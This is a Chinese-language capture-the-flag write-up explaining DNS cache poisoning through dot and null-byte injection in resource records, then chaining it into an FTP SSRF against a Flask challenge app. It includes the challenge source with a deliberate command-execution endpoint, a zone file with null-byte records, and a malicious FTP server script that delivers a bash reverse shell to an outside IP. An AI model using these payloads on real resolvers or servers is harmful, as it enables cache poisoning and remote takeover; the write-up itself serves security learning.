考点
原理
通过在DNS资源记录中插?控制字符,从?影响DNS的解析结果,或是插?不符合域名规范的特殊字符,最终实现DNS缓存污染、SQL 注?、XSS等效果。
DNS
域名系统(Domain Name System,DNS),主要作用是将域名转换为ip地址。它是由一个分层的DNS服务器实现的分布式数据库,也是一个使得主机能够查询分布式数据库的应用层协议。DNS服务器通常是一个运行BIND(Berkeley Internet Name Domain)软件的UNIX机器。DNS协议运行在UDP之上,使用53号端口。
典型DNS解析链:
允许DNS支持新的应用而不涉及对其架构的任何改变的核心设计特征是要求对DNS记录的处理要做到透明地。也就是说,DNS不应试图解释或理解它所提供的记录。由于这一特点,新的DNS记录可以很容易地被添加到DNS架构中,而不需要任何修改。新的应用程序可以使用新添加的记录立即在DNS上运行 。
我们利用DNS查询的透明性,将恶意字符编码为DNS记录的有效载荷。攻击者将恶意记录放在其域名的域文件中。由攻击者的Nameserver提供的记录在攻击者控制的域下似乎包含合法映射,但记录被目标程序接受并处理时,就会发生错误的解释从而导致注入攻击。这种攻击利用了DNS透明性的两个关键要素:1.DNS 解析程序不改变接收到的记录,因此恶意编码得以保持完整。2.接受程序不对接收到的记录进行消毒,因此我们可以设计注入载荷来进行攻击。
经典的注入攻击是已被广泛研究: 攻击者通过 web 应用程序提供恶意输入来改变命令的结构,从而破坏应用程序的逻辑。这样的注入攻击在实践中很容易减轻: 对用户输入进行过滤。
与用户输入相反,DNS 解析器提供的输入没有得到验证。我们可以构建恶意载荷进行注入攻击,如 XSS 和缓存中毒,针对各种应用程序和服务,包括 DNS 缓存,LDAP,eduroam.。
DNS记录和报文
资源记录
共同实现DNS分布式数据库的所有DNS服务器存储了资源记录(Resource Record, RR),RR提供了主机名到IP地址的映射。每个DNS的响应报文都会包含一条或多条RR.资源记录是一个包含了下列字段的4元数组: (Name,Value.Type,TTL) 其详细含义为:
- TTL记录了生存时间,即缓存中资源记录的过期时间。
- Type=A:此时Name是主机名,Value是主机名对应的Ip地址。
- Type=NS:Name是个域(此处是类似foo.com的域不是域名),Value是一个DNS服务器的主机名,这个DNS服务器可以获取到(直接或者间接)Name域中主机IP地址。也就是将子域名指定其他DNS服务器解析。
- Type=CNAME:Value是别名为Name的主机对应的规范主机名。即Name为主机别名和Value主机实际名称的映射
- Type=MX:Value是别名为Name的邮件服务器的规范主机名
DNS缓存攻击
这种攻击利用了域名和主机名不受字符限制这一事实。由于存在". “和”\000 "字符,对域名进行了误解。这些字符导致 ". "的出现被改变,从而操纵给定的父域的子域。攻击者可以在对开放式解析器发起攻击时直接触发 DNS 查询,也可以通过使用目标 DNS 解析器的应用程序(例如网页浏览器或email服务器)发起攻击。
这里介绍两种现存的基于域名误解的缓存注入攻击:
句点注入
为了注入一个恶意的DNS记录或用一个新的DNS记录覆盖一个缓存的值(由攻击者控制),我们可以设置这样的记录www\.target.com. A 6.6.6.6 ,这种攻击要求攻击者控制一个特殊畸形的域名www\.target.com ,且目标域名在同一父域下,例如www.target.com 。 由于大多数客户端软件不允许直接查询域名www\.target.com ,为了向受害者的缓存种注入恶意记录,攻 击 者 可 以 使 用 任 意 子 域 名 ( 例 如injectdot.attacer.com )设置 CNAME 记录:
injectdot.attacker.com. CNAME www\.target.com.
www\.target.com. A 6.6.6.6
当我们直接而对记录进行解码而没有对("\.") 进行转义时,www.target.com 的 IP 地址会变为 6.6.6.6 .。解码后缓存这个被误解的记录导致了DNS缓存注入。
零字节注入(\0 截断)
我们设计了以下记录集 ,这里\000 表示数据的结束,用于执行DNS缓存投毒。\000 指的是8进制0对应的字符,即\0 。
injectzero.attacker.com CNAME www.target.com\000.attacker.com
www.target.com\000.attacker.com A 6.6.6.6
当我们解码并将其输入到目标缓存时,该记录使攻击者能够在缓存中注入任意域名的记录。在这个攻击中,我们还使用了一个 CNAME别名映射到某个二级域名injectzero.attacker.com ,对于大多数客户端软件来讲,不可能不直接访问解析器就触发了对www.target.com\000.attacker.com 的查询。当把这个记录集解码成C-string,而没有转义www.target.com 后的零字节时,.attacker.com 被重新移动,因为它在\000 之后,DNS 软件误解记录并缓存一个记录映射www.target.com 到 IP 地址 6.6.6.6 。
这张图可以非常清楚地解释\0 截断导致的DNS缓存污染问题:
题目解析
DNS污染
Dnsmasq 提供 DNS 缓存和 DHCP 服务功能。作为域名解析服务器(DNS),dnsmasq 可以通过缓存 DNS 请求来提高对访问过的网址的连接速度。作为DHCP 服务器,dnsmasq 可以用于为局域网电脑分配内网ip地址和提供路由。DNS和DHCP两个功能可以同时或分别单独实现。dnsmasq 轻量且易配置,适用于个人用户或少于50台主机的网络。此外它还自带了一个 PXE服务器。
本题基于图中场景构建3个容器,分别是flask应?程序、dnsmasq和基于c-ares的DNS转发器(dnsproxy)。其中flask应?程序储存flag,可以执?ping、traceroute命令,并可以向ftp.sjtu.edu.cn下载并上传?件,还有?个限制本地访问的webshell,源码如下:
from flask import Flask, request, send_from_directory,session
from flask_session import Session
from io import BytesIO
import re
import os
import ftplib
from hashlib import md5
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['SESSION_TYPE'] = 'filesystem'
sess = Session()
sess.init_app(app)
def exec_command(cmd, addr):
result = ''
if re.match(r'^[a-zA-Z0-9.:-]+$', addr) != None:
with os.popen(cmd % (addr)) as readObj:
result = readObj.read()
else:
result = 'Invalid Address!'
return result
@app.route("/")
def index():
if not session.get('token'):
token = md5(os.urandom(32)).hexdigest()[:8]
session['token'] = token
return send_from_directory('', 'index.html')
@app.route("/ping", methods=['POST'])
def ping():
addr = request.form.get('addr', '')
if addr == '':
return 'Parameter "addr" Empty!'
return exec_command("ping -c 3 -W 1 %s 2>&1", addr)
@app.route("/traceroute", methods=['POST'])
def traceroute():
addr = request.form.get('addr', '')
if addr == '':
return 'Parameter "addr" Empty!'
return exec_command("traceroute -q 1 -w 1 -n %s 2>&1", addr)
@app.route("/ftpcheck")
def ftpcheck():
if not session.get('token'):
return redirect("/")
domain = session.get('token') + ".ftp.testsweb.xyz"
file = 'robots.txt'
fp = BytesIO()
try:
with ftplib.FTP(domain) as ftp:
ftp.login("admin","admin")
ftp.retrbinary('RETR ' + file, fp.write)
except ftplib.all_errors as e:
return 'FTP {} Check Error: {}'.format(domain,str(e))
fp.seek(0)
try:
with ftplib.FTP(domain) as ftp:
ftp.login("admin","admin")
ftp.storbinary('STOR ' + file, fp)
except ftplib.all_errors as e:
return 'FTP {} Check Error: {}'.format(domain,str(e))
fp.close()
return 'FTP {} Check Success.'.format(domain)
@app.route("/shellcheck", methods=['POST'])
def shellcheck():
if request.remote_addr != '127.0.0.1':
return 'Localhost only'
shell = request.form.get('shell', '')
if shell == '':
return 'Parameter "shell" Empty!'
return str(os.system(shell))
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)
其中/ftpcheck 存在ssrf漏洞,漏洞原理与CVE-2021-3129?致,只需要利?上图?法将token.ftp.testsweb.xyz 的缓存污染为??服务器的IP地址,即可实现FTP SSRF,访问到预留的webshell。
在域名的控制?板中添加如下两条记录,将a.testsweb.xyz 的NS记录指向ns.testsweb.xyz ,
将a.testsweb.xyz 的A记录指向??的IP(实际上任意域名都可以实现该攻击):
设置如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H6n63igY-1646406790594)(…/…/…/…/…/…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220228141237784.png)]
接下来搭建?个权威DNS服务器,注意常?于搭建DNS的bind在域名中含有\000 的时候会报错,经过测试我最终选择了twisted,这是?个基于python的dns?具,?持权威、转发器等模式,zone file(域名配置文件)如下:
zone = [
SOA(
# For whom we are the authority
'a.testsweb.xyz',
# This nameserver's name
mname = "ns.testsweb.xyz.",
# Mailbox of individual who handles this
rname = "admin.a.testsweb.xyz",
# Unique serial identifying this SOA data
serial = 0,
# Time interval before zone should be refreshed
refresh = "1H",
# Interval before failed refresh should be retried
retry = "30M",
# Upper limit on time interval before expiry
expire = "1M",
# Minimum TTL
minimum = "30"
),
NS('a.testsweb.xyz', 'ns.testsweb.xyz'),
CNAME('ftp.a.testsweb.xyz', '0b86b27c.ftp.testsweb.xyz\000.a.testsweb.xyz'),
A('0b86b27c.ftp.testsweb.xyz\000.a.testsweb.xyz', '47.109.17.144'),
]
保存为a.testsweb.xyz,然后执?下列命令,关掉systemd-resolved,以权威服务器模式打开twisted。
sudo service systemd-resolved stop
sudo twistd -n dns --pyzone a.testsweb.xyz
在题?中pingftp.a.testsweb.xyz ,即可污染token.ftp.testsweb.xyz 为任意IP地址。
SSRF
运?恶意ftp脚本即可实现SSRF:
import socket
from urllib.parse import unquote
shell_ip = '8.8.8.8'
shell_port = '7777'
payload = unquote("POST%20/shellcheck%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2083%0D%0A%0D%0Ashell%3Dbash%2520-c%2520%2522bash%2520- i%2520%253E%2526%2520/dev/tcp/{}/{}%25200%253E%25261%2522".format(shell_ip, shell_port))
payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 21
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()
count = 1
while 1:
conn, address = sk.accept()
print("220 ")
conn.send(b"220 \n")
print(conn.recv(20))
print("220 ready")
conn.send(b"220 ready\n")
print(conn.recv(20))
print("200 ")
conn.send(b"200 \n")
print(conn.recv(20))
if count == 1:
print("227 %s,4,210" % (shell_ip.replace('.', ',')))
conn.send(b"227 %s,4,210\n" % (shell_ip.replace('.', ',').encode()))
else:
print("227 127,0,0,1,31,144")
conn.send(b"227 127,0,0,1,31,144\n")
print(conn.recv(20))
if count == 1:
print("125 ")
conn.send(b"125 \n")
print("建?连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
print("150 ")
conn.send(b"150 \n")
if count == 1:
print("226 ")
conn.send(b"226 \n")
print(conn.recv(20))
print("221 ")
conn.send(b"221 \n")
conn.close()
count += 1
监听端?,点击FTP Check,反弹shell成功。
后记
整个题目我换了个域名做的,po上来的代码为官方wp代码,请自行修改。
在访问/ftpcheck 时我没有收到域名回显,于是将他写到了一个文件中,之后进docker容器查看[直接获取flag(bushi)]
file_path = 'data.txt'
with open(file_path, mode='w', encoding='utf-8') as file_obj:
file_obj.write('FTP {} Check Success.'.format(domain))
参考文章:
https://www.usenix.org/conference/usenixsecurity21/presentation/jeitner
TQLCTF Oficial WP
twisted使用
https://c-ares.org/adv_20210810.html
|